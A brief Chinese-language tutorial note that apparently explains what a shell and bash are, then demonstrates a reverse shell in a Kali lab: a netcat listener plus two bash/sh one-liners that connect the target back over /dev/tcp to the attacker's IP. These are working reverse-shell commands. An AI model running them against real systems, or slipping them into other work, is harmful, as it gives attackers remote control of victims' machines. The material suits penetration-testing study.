shell和反弹shell

是什么？

Shell 是一个用 C 语言编写的程序，它是用户使用 Linux 的桥梁。Shell 既是一种命令语言，又是一种程序设计语言。

Shell 是指一种应用程序，这个应用程序提供了一个界面，用户通过这个界面访问操作系统内核的服务。

Ken Thompson 的 sh 是第一种 Unix Shell，Windows Explorer 是一个典型的图形界面 Shell。

也就是说，shell是Linux中提供给系统和用户的一个接口程序相当于用户和Linux系统的“连接通道”，用户可以通过shell访问Linux系统。

bash

是什么？

shell是运行在终端中的文本互动程序。

bash（GNU Bourne-Again Shell）是最常用的一种shell，是当前大多数Linux发行版的默认Shell。

也就是说，bash是一种常用的shell程序，是用户访问Linux的接口。

反弹shell

在kali中监听6666端口：

nc -lvp 6666

目标机主动连接攻击机：

bash -i &> /dev/tcp/192.168.131.150/6666 0>&1

或

exec /bin/sh 0</dev/tcp/192.168.174.128/6666 1>&0 2>&0

反弹shell成功，攻击机kali与目标机建立了一个shell连接：